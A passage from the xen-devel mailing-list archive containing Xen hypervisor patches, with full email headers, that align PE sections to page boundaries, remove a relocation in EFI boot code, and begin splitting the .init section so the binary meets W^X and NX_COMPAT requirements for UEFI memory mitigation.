 ## [4.22.0 UNRELEASED](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=shortlog;h=staging) - TBD
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:44:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:44:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355211.1609972 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsY-00072y-1a; Mon, 06 Jul 2026 09:44:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355211.1609972; Mon, 06 Jul 2026 09:44:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsX-00072q-Tg; Mon, 06 Jul 2026 09:44:41 +0000
Received: by outflank-mailman (input) for mailman id 1355211;
 Mon, 06 Jul 2026 09:44:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgfsW-00072R-PI
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:44:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfsW-002r9l-63
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:44:40 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b78f9-5cb7-0a2a0a5109dd-0a2a4501e532-28
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:40 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b7907-400f-0a2a45010019-d1558032e014-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:40 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-493d92b7db3so10932495e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:44:40 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493ccd9d620sm283605205e9.1.2026.07.06.02.44.38
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 02:44:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331079; x=1783935879; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=EgcFpTg0M719DUSQiohUXmyN6KV71kHNHsNKWBm10go=;
        b=Du9o+Opo/JUFynOCIYBoe0aFnMF3ZylARjZetlDz5zilFHKfGg/2hSFrOhn/YKmP56
         l7XkSeFYrcV59Th6e6RO3/7BBxQIG4XogsuH4gQHs7E+lpWW5mt9ZSK7PVYT34cScnGX
         m56+gg7jtHV5B9fsznBrfIpdzIl5PtDhn9HVHKPWFVw72chzfPMcZHZ1cFJ7ojSdQ+Au
         N4DQAWZZd5098xplX2TP9Z9jM5vNiSgJ35PV9HPVZgeuMM0pBQcbt90ZUIEBy8nvLjy+
         xRe+ULuMHtVCH11MdRb+INgxUQGW4m5fyzSnCy9dBrC/xPe/8CR3CqME9B9QniBwdEjB
         tSkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331079; x=1783935879;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=EgcFpTg0M719DUSQiohUXmyN6KV71kHNHsNKWBm10go=;
        b=lrWE0nkPsgsQLiA5ugcBMw6DZOA/z6MVrHObsqRnUDUO4Oi+6Ce/XumJO5oNrTLf/9
         FDCHpRbVOKAUVfZ2CyhXfRYRaehZ0yWw4CnwcHyiP7NQ8ly3HrZO1cbEqRyu5qhSgvDn
         zqV3LI8n0VyQOuso75lqnTim5d92LwBFX1D0oRrOsLsXXBlebCNhZWNVu2nVc0MaAenD
         VFOZNInMZ0d2IxmoPbxRmsGgRfOO0NDFGI/JNrVMAywtpM5up6vqvXuXR+dkPqHXuZHP
         6P39VW93U1uG3A6M9aTNFEPNyTiuoFF9FlAc32AYLSEcO7vjs6gVYDGyULcqvBWuWLT4
         ydSg==
X-Gm-Message-State: AOJu0Yz/lvO5HdKaMY1dHgtAK0X+LASUqw9TL/8EnI8l2Fe1K5afaEYJ
	NISQ8G93bB9osENA5AOJBTLdhZsemnx29zMxPGpRPBcvkjZh1nTXFMabC1hbhPedX2U=
X-Gm-Gg: AfdE7cn8mgqqfofz4LMRIXKRAK9MBewmdXOps0T+GFHQ7A2SpU/llkaQdpS/TpVPvPN
	n7almMx69N3YnNxRyadzY3OX6Fr+MA6CeuzrCOYpsv91YWpSMWuw8Ea5VTD93FASQCC+0772bOP
	ROzRPoiJgLmX0LFYnYZNFN/8F38RhmIbGeeFUBW7uqym6RrFbXL1DCBNxOHYIjS5nk08r8IZsOG
	No70qPXV9aDhNMFKf67XJmlRggPASEg39HJ/9K+EHaAfCVmRKTzZBcKD4RD26uAQqc3Dy6lb60C
	nwDGRNcx6ErmBZ8feSNyIiF2jgBqapTHBzVfrMt7sePkbuZ0O9Gv3Ddo5nc5a2fwGwySplNCkXV
	uYId/s54TgIi7bksFtC3V4s+kWKpkSjnjXi5xtsABhF/gEEunDJxl3Elx5k1LAO5N7JXKfSb4L3
	epQTzL7fvQp2wcRsAcbjA6+giVOtjxZ8CV2uV5erW8AJgK1DUh9ppuuivuo312MhHC269dQB1Sp
	Ca/eszd8xj6U+IfVB0=
X-Received: by 2002:a05:600d:6401:10b0:493:cd3f:d051 with SMTP id 5b1f17b1804b1-493d11f03b7mr80054245e9.25.1783331079285;
        Mon, 06 Jul 2026 02:44:39 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v6 1/4] Align relevant sections to 4KB
Date: Mon,  6 Jul 2026 10:44:27 +0100
Message-ID: <20260706094430.427155-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706094430.427155-1-frediano.ziglio@citrix.com>
References: <20260706094430.427155-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783331080-818D81E0-473B6DAC/0/0
X-purgate-type: clean
X-purgate-size: 2076

From: Frediano Ziglio <frediano.ziglio@cloud.com>

Required by UEFI CA memory mitigation.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Sections with different permissions must be in separate pages.
In the case of debug sections they are contiguous and have the same
permissions, including the immediately preceding .reloc section, so it's
not an issue if they are not aligned to the page.
Before the .debug sections you could have the .reloc or the SBAT section,
either are permission-compatible.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes since v1:
- Change subject.

Changes since v2:
- Improved commit message and subject.

Changes since v3:
- Added Acked-by;
- Improved commit message.

Changes since v4:
- Added missing comment;
- Added Acked-by.
---
 xen/arch/x86/xen.lds.S | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/xen.lds.S b/xen/arch/x86/xen.lds.S
index b9e888e596..8e63cf5bc2 100644
--- a/xen/arch/x86/xen.lds.S
+++ b/xen/arch/x86/xen.lds.S
@@ -162,8 +162,8 @@ SECTIONS
        __note_gnu_build_id_end = .;
   } PHDR(note) PHDR(text)
 #elif defined(BUILD_ID_EFI)
-  /* Workaround bug in binutils < 2.36 */
-  . = ALIGN(32);
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   DECL_SECTION(.buildid) {
        __note_gnu_build_id_start = .;
        *(.buildid)
@@ -330,6 +330,8 @@ SECTIONS
   __2M_rwdata_end = ALIGN(SECTION_ALIGN);
 
 #ifdef EFI
+  /* Align to satisfy UEFI CA memory mitigation. */
+  . = ALIGN(PAGE_SIZE);
   .reloc ALIGN(4) : {
     __base_relocs_start = .;
     *(.reloc)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:44:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:44:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355214.1609993 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsa-0007WT-OH; Mon, 06 Jul 2026 09:44:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355214.1609993; Mon, 06 Jul 2026 09:44:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsa-0007WG-Jw; Mon, 06 Jul 2026 09:44:44 +0000
Received: by outflank-mailman (input) for mailman id 1355214;
 Mon, 06 Jul 2026 09:44:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgfsZ-0007Fw-B9
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:44:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfsY-002r9l-OL
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:44:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b78fd-5cb7-0a2a0a5109dd-0a2a4504c6e0-46
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:42 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b790a-a01d-0a2a45040019-d1558031ddd5-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:42 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493c2c0b9a8so25356765e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:44:42 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493ccd9d620sm283605205e9.1.2026.07.06.02.44.40
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 02:44:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331082; x=1783935882; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=BraaY1qC7HOBXFTxSHCrNc1y8UspO9XuBbEgUVn16EY=;
        b=au7mGDey2UgTbbwtTESrELm69WH6rJ9Z6FrwpW983XxBBkaZA3pfrVnqjDuFMeYWMM
         y36QzmCp8y0Melegmk2t56AkH4bcXja18VGsICO9eT658dc2dmgDHOB+z3xnfz7E4rmJ
         ZOmVI6g1ruCWGH5XpyhmuLaFzB73B6HojR012mljaEBM2c2WhuuaE2hZ1EJsPlmc7Q2x
         rzTI16oK7ERQC/rbwjzPzg8s42agR20BbYplYxTkrTeN+DUW+tDMgB+lNban/4jmi9yD
         j666SzsI4RW2CI6KmFxy6Md02olVoYDAMnI2fVw+F3lEeYID9VM9BhJ0WIUo+e70Xxs7
         GuDw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331082; x=1783935882;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=BraaY1qC7HOBXFTxSHCrNc1y8UspO9XuBbEgUVn16EY=;
        b=XBUupeSE6EF5mih5zBX+rFHUoXfV4/w/VwjeHAwdWLBH0wWKAOIiyh/lgwF9pQ+nkQ
         p9gJMFZQw9iZ7gbVcWlm6V8tajvXfWrFyUJscPgWQE88ViiQyvfpiL8jxeZgdcpxpgfk
         jWRI7tqNx/jlE5KMA2JGO/g8HB2hrSb8rQ+VcvyPQ/+mua8SD5yYrEirBrFuF20gZbXQ
         zGOF70uSI88CZR+JnJATxMad6xGSXnJQKqoTwoJo8t9XYs/fxCAE9vrVapRpbARXbFoS
         RsXv7LgPOnD5oVklnKX7va/cm/EL/IfeowlwD9sCgxR5MbY16A+Se+R5HKs93dLoB1Nm
         Ccpw==
X-Gm-Message-State: AOJu0YxA4cRH16zIuq5z9K8Y5U/ExCpa1oDt3mgs8RQ+U+QaEJyGwMCT
	QX50cP5iiVery27d0ZKMkDbzi5b7JRxBXbDM0EM7LLOoqDkefYLf6KBljoMK/ybIzMw=
X-Gm-Gg: AfdE7clg83cdL1CmcRqvygWLjkarbxoS1NfhJJO3dQ2q1SeQ3L+GQKKdLi6P2l9hyfP
	jr+zVOr6R99p0IeasJ6GfH6fJgy3WHd5qxDx740CjJa0LhnT9mgNccU+nPiwLKmKkxyZLa/8qZk
	0a0ed88NaUCS64TA2wjnRx5BqWMJbVBaweD20HL9oQKd70Y6Sct/P+npI/rbtLQPOBWNZQzX/aw
	2ltbBhp9s6cNH0ent58zVzisTywxqBzipgVQuhP+NQnOJOYJm2frsfLaM86E2iAFwGbj6QcfBau
	OWHMTBUHU5YUfS74zcPWau7dFt1lSgjahA2ZvrVo6iU8K3PD/6lzgTxnuDF6rTWz5CkkpFUueKQ
	KRojSNpwpmXHOMVjLW/kE4jnJ4g6I8xkroj54hgNVBnQj5DouADW2exleg7pYqKJVbOgIrwHGtj
	sMX67ack+LEdOQybVC9QpkRwCbYBqdAJpAt/hUipx0GfI3IlULvhMZA3LvACsiD7TacyyfcwcoC
	xvZawjwCMuV2x/9/LM=
X-Received: by 2002:a05:600c:2314:b0:490:e974:e006 with SMTP id 5b1f17b1804b1-493d11f6f7bmr76574215e9.29.1783331080929;
        Mon, 06 Jul 2026 02:44:40 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v6 3/4] x86/efi: avoid a relocation in efi_arch_post_exit_boot()
Date: Mon,  6 Jul 2026 10:44:29 +0100
Message-ID: <20260706094430.427155-4-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706094430.427155-1-frediano.ziglio@citrix.com>
References: <20260706094430.427155-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783331082-77B231CC-B10C79E3/0/0
X-purgate-type: clean
X-purgate-size: 1924

From: Roger Pau MonnÃ© <roger.pau@citrix.com>

Instead of using the absolute __start_xen address, calculate it as an
offset from the current instruction pointer.  The relocation would be
problematic if the generated PE binary had .init.text as a standalone
section with just read and execute permissions."

Removing this relocation is necessary to make it safe to split .init.

No functional change intended.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
Changes since v1:
- Improve commit message.

Changes since v3:
- Added Acked-by.
---
 xen/arch/x86/efi/efi-boot.h | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/xen/arch/x86/efi/efi-boot.h b/xen/arch/x86/efi/efi-boot.h
index d738b839ee..b983f054b5 100644
--- a/xen/arch/x86/efi/efi-boot.h
+++ b/xen/arch/x86/efi/efi-boot.h
@@ -270,7 +270,9 @@ static void __init noreturn efi_arch_post_exit_boot(void)
 
                    /* Jump to higher mappings. */
                    "mov    stack_start(%%rip), %%rsp\n\t"
-                   "movabs $__start_xen, %[rip]\n\t"
+                   "lea    __start_xen(%%rip), %[rip]\n\t"
+                   "add    %[offset], %[rip]\n\t"
+
                    "push   %[cs]\n\t"
                    "push   %[rip]\n\t"
                    "lretq"
@@ -278,7 +280,8 @@ static void __init noreturn efi_arch_post_exit_boot(void)
                      [cr4] "+&r" (cr4)
                    : [cr3] "r" (idle_pg_table),
                      [cs] "i" (__HYPERVISOR_CS),
-                     [ds] "r" (__HYPERVISOR_DS)
+                     [ds] "r" (__HYPERVISOR_DS),
+                     [offset] "r" (__XEN_VIRT_START - xen_phys_start)
                    : "memory" );
     unreachable();
 }
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:44:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:44:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355213.1609989 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsa-0007Tc-FA; Mon, 06 Jul 2026 09:44:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355213.1609989; Mon, 06 Jul 2026 09:44:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfsa-0007TV-CX; Mon, 06 Jul 2026 09:44:44 +0000
Received: by outflank-mailman (input) for mailman id 1355213;
 Mon, 06 Jul 2026 09:44:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wgfsZ-0007Fi-3H
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:44:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfsY-002r9l-GP
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:44:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b78fd-5cb7-0a2a0a5109dd-0a2a4504c6e0-42
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:42 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b790a-a01d-0a2a45040019-d155dd31c50c-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:44:42 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-47640541585so1723767f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 02:44:42 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493ccd9d620sm283605205e9.1.2026.07.06.02.44.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 02:44:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783331082; x=1783935882; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=ia93IaiRGnVFsVP6/iZrBYXvaYw/rZ06cLV16cU84oM=;
        b=lc4GCSERlL7vHVdOWN4g54TbPs+iKkzF9wiyTcBD4e6HBFtnZkuaypXrdrTidxucpw
         jwvs59cupMwO/9CD7V/4TfSk6QE37OS2GAXdv34PveZnIc6uNMIcaKrPC7KnKq/BnK08
         dfDCoq2Cg2pMZdnM0uBfk4IRUpvofjSTjmaCfubnqW84Laj0BE3hNznmOWQO+T2MtlR3
         Ds3L41jU1LjzXSkFdWVAaqrxhpJAOIBh+XtgAQWqiqwTfiJWUhLvcNqrdISPziKiFt2P
         9JSUWNo4r7K3wG65mDmayGghdb2KpILaP7n8erbPRkAj5a6xzlPg/xWyzQ2Gs9BHGqUK
         mI8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783331082; x=1783935882;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=ia93IaiRGnVFsVP6/iZrBYXvaYw/rZ06cLV16cU84oM=;
        b=BgBAJaSUU7EX36q/QOXLFAHnewO22Glm8pnvG3yjPb70BDAaN0Zu0+BrbT/nXljl+7
         7Y/En9A6ssps9nYODK4xxY6m/+1rxDJX7hckW947L+RkpFX3ybax9N1oPYurS83T6GAS
         NgTIhKER6Q/mNq2RqeL3UuRv5LejmH0zFaEeL0ioT0FYGBkxPGHvISaDCHbHGzvgnEuz
         BmGmR+rKTFGqz4O3CyczmXILlfqaT+BNuIGuuZLW8YXMFmM2/BPsRUx+z5QFaCs4Yr5r
         ctE7otUXcO58ScgbLq5B2kgnfmSt6olflBQYYmOmICqC0OMC/OKjcTVwvnCSoW9i3kmc
         mwWg==
X-Gm-Message-State: AOJu0YywDObZ4CTMwztOdyP8rN37TmYK+Q/1ySLawW68cEqz+MVc2dor
	Htnb8X5hBVxSpuixx+mGypc0cCLmOmvoYQ0rAAGNR55fvu8LOgRifK3CoGNbMy+nEnA=
X-Gm-Gg: AfdE7cmuGwvxOOPrhCOxbAkgriwq+Os775R+3CG7AalX/DRu0j8ZLI/aXbqKLeBpZK0
	R+hcbIhHZjdtwHdhcqxcudS8ZBOE6RcCjuQX+NH4kRPlmfAH+LdO+36LCS8JTua0vf1f7KOxNwP
	2BdB96eE5sjgmiD7nITGwH94KWOmt3KZtvSo+7OFiH5yRUszSLOiPerzOC4s6YJ3CO6MjLiW2Vp
	UFzykhhf+h0iMK+MMWMeD7fjXp3xeIgJPwZtIUrO1kz5sqdpCph3QAc3Dmqn8SmY1t6wGSBD+C6
	rIkpotjMOXvHKk1yiGj7gpnGPMekTvgkB9amYZDQDKcNcvCVKyUPeeXvsZrjvLv1raZL8rLFoWN
	hrKMXLuBnhfqW4iSaUCWTrBCMjGAcUFfCy9zbGW/gjy0VU1YBGL9x1qz2ICz/NTaQf1T8VgUeDS
	x5Fsv4DRb38yATUaJuoMDaIsFZENJ87GNccmD0k+2cN23nhgfIvsqY6ZXmu6Xuj9ragghMeKeyH
	aqYP4gscBNlei9SBV0=
X-Received: by 2002:a05:600c:8711:b0:493:aa24:792b with SMTP id 5b1f17b1804b1-493d11f15c6mr104883045e9.22.1783331081816;
        Mon, 06 Jul 2026 02:44:41 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@cloud.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v6 4/4] x86: Split .init section to satisfy UEFI CA memory mitigation
Date: Mon,  6 Jul 2026 10:44:30 +0100
Message-ID: <20260706094430.427155-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260706094430.427155-1-frediano.ziglio@citrix.com>
References: <20260706094430.427155-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783331082-2DDA51CC-36E60BFD/0/0
X-purgate-type: clean
X-purgate-size: 1957

From: Frediano Ziglio <frediano.ziglio@cloud.com>

Currently .init section is both writeable and executable, split data and code
to have 2 sections satisfying W^X rule.

It is a requirement for NX_COMPAT so the PE can be loaded with W^X perms
in the pagetables.

NX_COMPAT is a requirement from shim-review,
https://github.com/rhboot/shim-review#do-you-have-the-nx-bit-set-in-your-shim-if-so-is-your-entire-boot-stack-nx-compatible-and-what-testing-have-you-done-to-ensure-such-compatibility

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Acked-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Change since v1:
- update comment style.

Changes since v3:
- Added Acked-by.

Changes since v4:
